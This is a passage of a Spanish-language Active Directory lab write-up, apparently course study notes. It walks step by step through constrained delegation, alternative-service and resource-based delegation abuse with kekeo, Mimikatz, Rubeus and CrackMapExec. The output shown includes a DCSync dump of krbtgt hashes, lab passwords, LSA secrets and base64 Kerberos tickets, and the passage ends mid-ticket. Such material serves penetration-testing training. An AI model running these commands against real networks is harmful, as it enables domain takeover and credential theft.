[KRB_NT_PRINCIPAL (1)] SName : krbtgt/dollarcorp.moneycorp.local [KRB_NT_SRV_INST (2)] Need PAC : Yes Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): cc098f204c5887eaa8253e7c2749156f [kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto) [kdc] addr: 172.16.2.1 (auto) > Ticket in file 'TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi' kekeo # ``` Luego, usamos S4U para solicitar el TGS. ``` kekeo # tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL Ticket : TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi [krb-cred] S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL [krb-cred] E: [00000012] aes256_hmac [enc-krb-cred] P: websvc @ DOLLARCORP.MONEYCORP.LOCAL [enc-krb-cred] S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL [enc-krb-cred] T: [3/3/2024 4:40:57 AM ; 3/3/2024 2:40:57 PM] {R:3/10/2024 4:40:57 AM} [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 20fb22049ae9a0c4f1fb9cad7078dad399b35bc006cffca0f0d1784100ad09d7 [s4u2self] Administrator@dollarcorp.moneycorp.local [kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto) [kdc] addr: 172.16.2.1 (auto) > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_websvc@DOLLARCORP.MONEYCORP.LOCAL.kirbi' Service(s): [s4u2proxy] cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi' kekeo # ``` Luego cargamos el ticket usando Mimikatz. ``` PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi * File: 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi': OK PS C:\AD\Tools\kekeo\x64> klist Current LogonId is 0:0x17ce62 Cached Tickets: (1) #0> Client: Administrator @ DOLLARCORP.MONEYCORP.LOCAL Server: cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 3/3/2024 4:46:41 (local) End Time: 3/3/2024 14:40:57 (local) Renew Time: 3/10/2024 4:40:57 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: ``` Ahoraque ya tenemos el ticket intentamos acceder a los recursos del computador objetivo. ``` PS C:\AD\Tools\kekeo\x64> ls \\dcorp-mssql.dollarcorp.moneycorp.local\C$ Directory: \\dcorp-mssql.dollarcorp.moneycorp.local\C$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:15 AM PerfLogs d-r--- 11/14/2022 4:44 AM Program Files d----- 11/14/2022 4:43 AM Program Files (x86) d----- 12/3/2023 6:36 AM Transcripts d-r--- 11/15/2022 1:48 AM Users d----- 1/10/2024 2:17 AM Windows ``` Nosotros tambien podriamos usar Rubeus para hacer todo este proceso en un solo comando: {% code overflow="wrap" %} ``` Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt ``` {% endcode %} ## Constrained Delegation con Servicio Alternativo Para esto, es un poco mas de lo mismo. Usaremos kekeo para crear los tickets y luego los importaremos con mimikatz. {% code overflow="wrap" %} ``` PS C:\AD\Tools\kekeo\x64> . .\kekeo.exe ___ _ kekeo 2.1 (x64) built on Jun 15 2018 01:01:01 - lil! / ('>- "A La Vie, A L'Amour" | K | /* * * \____/ Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) L\_ http://blog.gentilkiwi.com/kekeo (oe.eo) with 9 modules * * */ kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:1fadb1b13edbc5a61cbdc389e6f34c67 Realm : dollarcorp.moneycorp.local (dollarcorp) User : dcorp-adminsrv$ (dcorp-adminsrv$) CName : dcorp-adminsrv$ [KRB_NT_PRINCIPAL (1)] SName : krbtgt/dollarcorp.moneycorp.local [KRB_NT_SRV_INST (2)] Need PAC : Yes Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): 1fadb1b13edbc5a61cbdc389e6f34c67 [kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto) [kdc] addr: 172.16.2.1 (auto) KDC_ERR_PREAUTH_FAILED (24) - 3/3/2024 5:19:11 AM kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:b5f451985fd34d58d5120816d31b5565 Realm : dollarcorp.moneycorp.local (dollarcorp) User : dcorp-adminsrv$ (dcorp-adminsrv$) CName : dcorp-adminsrv$ [KRB_NT_PRINCIPAL (1)] SName : krbtgt/dollarcorp.moneycorp.local [KRB_NT_SRV_INST (2)] Need PAC : Yes Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): b5f451985fd34d58d5120816d31b5565 [kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto) [kdc] addr: 172.16.2.1 (auto) > Ticket in file 'TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi' kekeo # tgs::s4u /tgt:TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL Ticket : TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi [krb-cred] S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL [krb-cred] E: [00000012] aes256_hmac [enc-krb-cred] P: dcorp-adminsrv$ @ DOLLARCORP.MONEYCORP.LOCAL [enc-krb-cred] S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL [enc-krb-cred] T: [3/3/2024 5:20:52 AM ; 3/3/2024 3:20:52 PM] {R:3/10/2024 5:20:52 AM} [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 27441bd0a50c5fde9f7ac97f305fd6aed633b9d812743847310c13f69fa397e4 [s4u2self] Administrator@dollarcorp.moneycorp.local [kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto) [kdc] addr: 172.16.2.1 (auto) > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL.kirbi' Service(s): [s4u2proxy] time/dcorp-dc.dollarcorp.moneycorp.LOCAL [s4u2proxy] Alternative ServiceName: ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi' kekeo # ``` {% endcode %} ``` PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi * File: 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi': OK PS C:\AD\Tools\kekeo\x64> klist Current LogonId is 0:0x17ce62 Cached Tickets: (1) #0> Client: Administrator @ DOLLARCORP.MONEYCORP.LOCAL Server: ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 3/3/2024 5:22:00 (local) End Time: 3/3/2024 15:20:52 (local) Renew Time: 3/10/2024 5:20:52 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: ``` Y como tenemos un ticket del servicio LDAP usando el usuario Administrator en la pc dcorp-dc. Podemos realizar dcsync. ``` PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # lsadump::dcsync /user:dcorp\krbtgt [DC] 'dollarcorp.moneycorp.local' will be the domain [DC] 'dcorp-dc.dollarcorp.moneycorp.local' will be the DC server [DC] 'dcorp\krbtgt' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 11/11/2022 9:59:41 PM Object Security ID : S-1-5-21-719815819-3726368948-3917688648-502 Object Relative ID : 502 Credentials: Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986 ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986 lm - 0: ea03581a1268674a828bde6ab09db837 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd * Primary:Kerberos-Newer-Keys * Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 aes128_hmac (4096) : e74fa5a9aa05b2c0b2d196e226d8820e des_cbc_md5 (4096) : 150ea2e934ab6b80 * Primary:Kerberos * Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt Credentials des_cbc_md5 : 150ea2e934ab6b80 * Packages * NTLM-Strong-NTOWF * Primary:WDigest * 01 a0e60e247b498de4cacfac3ba615af01 02 86615bb9bf7e3c731ba1cb47aa89cf6d 03 637dfb61467fdb4f176fe844fd260bac 04 a0e60e247b498de4cacfac3ba615af01 05 86615bb9bf7e3c731ba1cb47aa89cf6d 06 d2874f937df1fd2b05f528c6e715ac7a 07 a0e60e247b498de4cacfac3ba615af01 08 e8ddc0d55ac23e847837791743b89d22 09 e8ddc0d55ac23e847837791743b89d22 10 5c324b8ab38cfca7542d5befb9849fd9 11 f84dfb60f743b1368ea571504e34863a 12 e8ddc0d55ac23e847837791743b89d22 13 2281b35faded13ae4d78e33a1ef26933 14 f84dfb60f743b1368ea571504e34863a 15 d9ef5ed74ef473e89a570a10a706813e 16 d9ef5ed74ef473e89a570a10a706813e 17 87c75daa20ad259a6f783d61602086aa 18 f0016c07fcff7d479633e8998c75bcf7 19 7c4e5eb0d5d517f945cf22d74fec380e 20 cb97816ac064a567fe37e8e8c863f2a7 21 5adaa49a00f2803658c71f617031b385 22 5adaa49a00f2803658c71f617031b385 23 6d86f0be7751c8607e4b47912115bef2 24 caa61bbf6b9c871af646935febf86b95 25 caa61bbf6b9c871af646935febf86b95 26 5d8e8f8f63b3bb6dd48db5d0352c194c 27 3e139d350a9063db51226cfab9e42aa1 28 d745c0538c8fd103d71229b017a987ce 29 40b43724fa76e22b0d610d656fb49ddd ``` Asi mismo, vemos que tambien podemos ejecutar el mismo ataque pero usando rubeus en una sola consulta. {% code overflow="wrap" %} ``` Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e041d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt ``` {% endcode %} # Learning Objective - 17 ## Resource-based Constrained Delegation (RBCD) Para abusar de la RBCD de la forma más eficaz, sólo necesitamos dos privilegios. 1. Permisos de escritura sobre el servicio u objeto de destino para configurar msDSAllowedToActOnBehalfOfOtherIdentity. 2. Control sobre un objeto que tiene SPN configurado (como acceso admin a una maquina unida a un dominio o la habilidad de unir una maquina a un dominio - ms-DSMachineAccountQuota es 10 para todos los usuarios del dominio) Por los laboratorios anteriores, sabes que tenemos acceso al usuario CIADMIN, asi que enumeramos sus permisos. ``` dcorp\ciadmin:*ContinuousIntrusion123 ```
Mediante RSAT vamos a configurar el RBCD. ``` PS C:\AD\Tools\ADModule-master\ActiveDirectory> $comps = 'dcorp-std723$' PS C:\AD\Tools\ADModule-master\ActiveDirectory> Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $comps PS C:\AD\Tools\ADModule-master\ActiveDirectory> ``` Ahora extraeremos el hash AES del nuestro usuario estudiante. ``` crackmapexec smb 172.16.100.23 -u 'student723' -p 'hT3qDFRHGzVpJtym' --lsa SMB 172.16.100.23 445 DCORP-STD723 [*] Windows 10.0 Build 20348 x64 (name:DCORP-STD723) (domain:dollarcorp.moneycorp.local) (signing:False) (SMBv1:False) SMB 172.16.100.23 445 DCORP-STD723 [+] dollarcorp.moneycorp.local\student723:hT3qDFRHGzVpJtym (Pwn3d!) SMB 172.16.100.23 445 DCORP-STD723 [+] Dumping LSA secrets SMB 172.16.100.23 445 DCORP-STD723 DOLLARCORP.MONEYCORP.LOCAL/student723:$DCC2$10240#student723#eb5f214b28ad3157316b015e0ceb0dde SMB 172.16.100.23 445 DCORP-STD723 DOLLARCORP.MONEYCORP.LOCAL/ciadmin:$DCC2$10240#ciadmin#3999881514643dbc5cd4efcdce983215 SMB 172.16.100.23 445 DCORP-STD723 DOLLARCORP.MONEYCORP.LOCAL/svcadmin:$DCC2$10240#svcadmin#80dcb7982483a2ee1aaa9ef2da703179 SMB 172.16.100.23 445 DCORP-STD723 DOLLARCORP.MONEYCORP.LOCAL/websvc:$DCC2$10240#websvc#5100e73bf7f60de365fe1e39d21070c9 SMB 172.16.100.23 445 DCORP-STD723 DOLLARCORP.MONEYCORP.LOCAL/appadmin:$DCC2$10240#appadmin#8bb559da7ec65410afbd8c561b37f5b5 SMB 172.16.100.23 445 DCORP-STD723 dcorp\DCORP-STD723$:aes256-cts-hmac-sha1-96:8af99cbdd43c481488c733f0c0d54263a82d986c4477b7ed3e1a4c331fb2e595 SMB 172.16.100.23 445 DCORP-STD723 dcorp\DCORP-STD723$:aes128-cts-hmac-sha1-96:df30e9661d9fdbec4812b51673713729 SMB 172.16.100.23 445 DCORP-STD723 dcorp\DCORP-STD723$:des-cbc-md5:bf10e370e064101c SMB 172.16.100.23 445 DCORP-STD723 dcorp\DCORP-STD723$:plain_password_hex:3c004300200059006e0020007900340038004e0057005900420031006c00440049004e00340043005e00220044003e005b0031003f00270037005f0020003a0051007700440042004a004300500059006c005f002b00600064003e002800720044007700360023007000270066002d006f0037003c0039005200710043005400790071006a007100520078005e0057002f00210040003700440024002a002c003b007600620063003e004f005400610058004700420058006d007100260030002f002f004300770044006d00600029002400290071006d005c0073004d003100580068004b0032006400730036002000 SMB 172.16.100.23 445 DCORP-STD723 dcorp\DCORP-STD723$:aad3b435b51404eeaad3b435b51404ee:b7e5761232035582a44230df3247d401::: SMB 172.16.100.23 445 DCORP-STD723 dpapi_machinekey:0xababb32297aa7249ddae9c0653a6a1017e71b9a4 dpapi_userkey:0xf06a4a31213cab5931ec2c976ab3de2ec6297136 SMB 172.16.100.23 445 DCORP-STD723 NL$KM:2155a8f764dd9afa80950f03e8e4765e11349956de62e100c6fd7db814af4f7358c168e316e2049893a539c61b7ae419fee6efdc7364728cf92af25c68d2db73 SMB 172.16.100.23 445 DCORP-STD723 [+] Dumped 12 LSA secrets to /home/dsds/.cme/logs/DCORP-STD723_172.16.100.23_2024-03-03_192256.secrets and /home/dsds/.cme/logs/DCORP-STD723_172.16.100.23_2024-03-03_192256.cached ``` Luego, ejecutamos el rubeus. ``` PS C:\AD\Tools> .\Rubeus.exe s4u /user:dcorp-std723$ /aes256:8af99cbdd43c481488c733f0c0d54263a82d986c4477b7ed3e1a4c331fb2e595 /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: S4U [*] Using aes256_cts_hmac_sha1 hash: 8af99cbdd43c481488c733f0c0d54263a82d986c4477b7ed3e1a4c331fb2e595 [*] Building AS-REQ (w/ preauth) for: 'dollarcorp.moneycorp.local\dcorp-std723$' [*] Using domain controller: 172.16.2.1:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIGVjCCBlKgAwIBBaEDAgEWooIFJjCCBSJhggUeMIIFGqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlD T1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gxpkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOC BMIwggS+oAMCARKhAwIBAqKCBLAEggSsuNBnvuuRGoacH9767twhYnLBp1+ZYdBMrdcCjf9ItRSIQ08H YidHb4z6Hq2hqDaaDVXMouXuvod9w3HEnUy/iHBSXD/q2X7ue8a6ViZ4nxQAcBK2Axmu3HEElqG3xFMk s6lX2TgpRQXPdet04IebY2AKqDnvGUqkoWC7WCEjZFbr+mCqBD+Fu8gQZbNKY2d3ney+Us6z0FU7+HwR TbSVvjtq/g3a1vuhsFm0zyMOlPWdOtyHAONO/KFaYSHrtiI5lQ1seUtu1FRldRHAXHTd4t4GHVTr76Bq QRJD58M3sPpHn8SvpU8rgJyNxBNA81i4bBZhE63jScygif7Ps3G+fHWp5lHrqYAIGaYc0+AaxW2mOugg vJ2DHRKFe2tjyKujCcp/+OmrNoCUsWJ8LdSHo0Zwm1z0VlMzLaHuCMn1xS9C65TCRo4znyCWtTMD1WHe NUaUpUzYCy9I9ICxleM5mLBDSfedR3DDOFN7MKoAwUGnrY5tUcwSbl9apCZlT8YcdOBCOCRp+QSUg1yR WqLvVtVzRayiUHVYAD/0Nvt4ms8zFdLXkqyg8O+DIL3TNhIVA4DALJZqGXjWYlAVHs7o9cklwrC9mqbi IcA+ibJXJfiZ5lFxpll4XxPBrfodeIQk1taSGcpsvbnv3G1NMo5OeTeJNrbmAVQCzBYHJ5BjOevo8ZAX /7R8CS/+WevCuftPfASxpGfs+pcE+bwpFRkJzhVnXshsBy5udaS62cPXGgsys769hSHV8tyHw+0USQDa bTfM/NsoCXKevQSm+ulaoCFB/Rn2D26YqF03T73AzJNmr+BuRmtS/Enbx0xGTNfS8BItfdmwATp5nxZt oPNIFo4kBys5jZYY6HZfbXWctDyLCZc3G9XStzvZVfMlGBk2X9Akw2gKurYTcr37X9t+LTZeW9yzFkQW cip3NGu4CA2eX1dcKCmebocAQorVlf1AXtVaAEphgSiuK8IAR61+FheV9FRvlebbx01V7W1iNmPViY2W 0MtZwHdbgv1kk6s00qO3Jl7zFVdDTTbW0c3JGGw+rjkkwY6FOoO0tTPkHbn8w+hcTQrFyNNM6oXTqs/O QjsVKBjei/bVn1PAg/1nF2nxx7oiepNU6D6ityzjit7w4+zg5vpPNelvBQ2Uqqm/Zogc/FXCH7yh8t+b b5L95/z0g2Sf+FsPv2yaZvorXwJbwtU5Bvd4bnK9bMW9qwEq878FnrzCgEGotrVKXmhxl8Rbsl7yFvVJ piiPkzRMNKOxRD+KFU/XLJslHaIi6bwbfGvJKszlZDB5fmuSmoRnitwq7QXj+8HOjPqB38l4CqxQGgD0 lwsDLFb7qTFJEFGOnEeO0TC/yw3Pyr2G/8yDx0Bi+Q8nKB7Md4dDN4wG9s6j1JUz5VQ7ihy2LtPYyscF D+jqjSbh9MGpcimqan67sF0aMMJqe1132g27gBKJV8jPW78Xjb0TXokueMbn0THGSfpg3AVJX0kUTUoM cBl3RhRxZUnnVK0r5+dt8fnnH774kdMISu0uguMbWAZhK8TY5vZvwYcMEKDXfarNVRwtGbCESibfAl+W 25h6GeS7TFkG6sEGzgLQs/P+vg+jggEaMIIBFqADAgEAooIBDQSCAQl9ggEFMIIBAaCB/jCB+zCB+KAr MCmgAwIBEqEiBCD2Jn6LM8Nbj4+DCdDH0G+YwGvB0mWM9DKJsFDCUMCczaEcGxpET0xMQVJDT1JQLk1P TkVZQ09SUC5MT0NBTKIaMBigAwIBAaERMA8bDWRjb3JwLXN0ZDcyMySjBwMFAEDhAAClERgPMjAyNDAz MDQwMDQwMTVaphEYDzIwMjQwMzA0MTA0MDE1WqcRGA8yMDI0MDMxMTAwNDAxNVqoHBsaRE9MTEFSQ09S UC5NT05FWUNPUlAuTE9DQUypLzAtoAMCAQKhJjAkGwZrcmJ0Z3QbGmRvbGxhcmNvcnAubW9uZXljb3Jw LmxvY2Fs [*] Action: S4U [*] Building S4U2self request for: 'dcorp-std723$@DOLLARCORP.MONEYCORP.LOCAL' [*] Using domain controller: dcorp-dc.dollarcorp.moneycorp.local (172.16.2.1) [*] Sending S4U2self request to 172.16.2.1:88 [+] S4U2self success! [*] Got a TGS for 'administrator' to 'dcorp-std723$@DOLLARCORP.MONEYCORP.LOCAL' [*] base64(ticket.kirbi): doIGVzCCBlOgAwIBBaEDAgEWooIFQTCCBT1hggU5MIIFNaADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlD T1JQLkxPQ0FMohowGKADAgEBoREwDxsNZGNvcnAtc3RkNzIzJKOCBPIwggTuoAMCARKhAwIBAqKCBOAE ggTcDiZfokRZXbTLQ0fLEDWhAlUDzf03O1ajhZ+rfUueWrQENaGiTBfWw+ahfflX/QKr94QR/djouKeP vhODBGL5R33bbqjy88wmt1P7p3kzrxeuFy006IE5X2ESWzu8witIC8j0pufBEukR5IP6O5HExsqAyR+J NVyNpIOJ2n4fVpP/+ugpZ4Hy4VHCr4RtTBlj3Xx4gDo+j6+FLN1Xxs8nwHmgqdrZETIkmMr9FqxuqgR7 2GcUi+4IYIL3ORATYcrE/JH8vN5nVqbkfr5rx0Ec4yZ0fVkwIb14qeDKQgtZQvhDEIPA7r0jZ139/X5U g4sJd6TihD83u6jJaKKsQ8p1lj5qjHv1VIIMomXqCMaq4Xdp3Qhm4iUfTUCmjrUSpLob/csPt+jhZVn5 dbvGvfu5A5uObsC8U+n12RLXoXS3+aIXAuvK+W4gMXBRxe0Xhk/yd+ijHshWaeoTyTL1XWBYc3fIvtDL RpsQfw95B/njfhfU3GIRQIkhdJokStSyuHjJ1lwy+uJNEUJMYiqI/UwdyXLVbdl8v83hvG9fZqa0+bvM EDtWgZkQ6fZokHOSZR99N2ORUr5JspVyNd4n8LKcuFBpAy3Wn6gfkuvdxp4/1MtAcCg4Hg+0C6YKxMSY q3eGJX9d5KFKlmAaRz1JGbYMGFn/XLuMljw3Tbs/qj0V5WS6MJRUzVg24np3gaSo/Zaz70m3mgmxlKwg ap+CJdjdwmlNHpo5UcXDQ1brTqYXVh5u198cHTJ3nsdfDqh6R/KUNweeT/4+sMSTPB2ElJVxbhbJ0iRL d8gRIkl6vTrVTUNpZNt+xJ7ny85hrWV+kBUihUcRUE9UCPoy4YpFkiF6mBDVdbEjqilNsR2fxfxYHyKN p/79XlwSMAaTiTP0qwlvUQBNWnb7qiMg66fBahUDgNTNiv4ze+lPb5z5CjcSAXfxWo/gCYdUegmrprUL qLZ0Ep4K8kpGPfW61xKXLKauAA4aOxd5LiL43rJfFsK/TbxAgEKCpWIozctsH7lf3OCOYbjmxcA7JpkC yQ+ck+5K84m9WCEywCK/+Ls6BcFSCIXFIvq6IOeC9Ut/nUSP/etxMK9sImzCr/XlzrZ+NzrfoHySCbDe 1ieXMv8FGjeGn+mWna21sgVMnuMPnPJUUm+IlQebn4cwyUDUnyYyet91AUBP+yYDK5pNz7/oAfpdzii0 FfYJuIYI6+lXlwlX5flPdpGUzWXQWw+aQNkhI0WVSAts0BLF8UQX6rtVmXgDS/NGVnSQAqkl7fiXgsnF PtrPsBw7uqNY5ew0fJhFYIRHoGSSD3oLurpUK/v8vmkMtVTyDYu+tjjrr1IdOYFgD3yVGs3YWT18jOtM tawK9fuK6EtBDsUlPcW9MUKiZm7/qKWd6oG6JaUHwbDP+SGmOFbOZQ8U9GMan/cuT6SWNjo4u+bdZ8e5 eRdthk8SQx36www1qeeS+cQshqQCKoGHH1SfxK/wX71ZnCH7P/3AefMb3tUZ56AF0XRfp2Fw6s1aQIp/ yT+Mnc0KDaUOelpzkvFP/zdkRAIdCo2peUEGPUVeag2ZdHx4g4i9INk+o9xWvCj3YvhkfAXhR96IlzbY XcPSltaqSDp51sbNIdVVgSojEB5lAUgj4e7iyVaUQ27/w3yjexd6DWIEryIQotKjggEAMIH9oAMCAQCi gfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgHf7JuTYsspE7T5GSSRrC/6QbI546r5+nL4sA uW6vxgWhHBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQqhETAPGw1hZG1pbmlzdHJh dG9yowcDBQBAoQAApREYDzIwMjQwMzA0MDA0MDE1WqYRGA8yMDI0MDMwNDEwNDAxNVqnERgPMjAyNDAz MTEwMDQwMTVaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqRowGKADAgEBoREwDxsNZGNvcnAt c3RkNzIzJA== [*] Impersonating user 'administrator' to target SPN 'http/dcorp-mgmt' [*] Building S4U2proxy request for service: 'http/dcorp-mgmt' [*] Using domain controller: dcorp-dc.dollarcorp.moneycorp.local (172.16.2.1) [*] Sending S4U2proxy request to domain controller 172.16.2.1:88 [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'http/dcorp-mgmt': doIHBDCCBwCgAwIBBaEDAgEWooIF/DCCBfhhggX0MIIF8KADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlD T1JQLkxPQ0FMoh0wG6ADAgECoRQwEhsEaHR0cBsKZGNvcnAtbWdtdKOCBaowggWmoAMCARKhAwIBAaKC BZgEggWUvzMFfAGSEAcM5Hd2pSaGJ5bzAP3/0u9GZZNLYqrM0Z4eVjJynrbxc8rvgFc8fWY+Fy6PsqQJ vDUEFqoO6x1zi+F9+o4rdoEvRJ3GpiODLzqpgRRbuvTJVS+naj3Y642AHS2ZF5cpSm3PFXdhqZdVZHvE 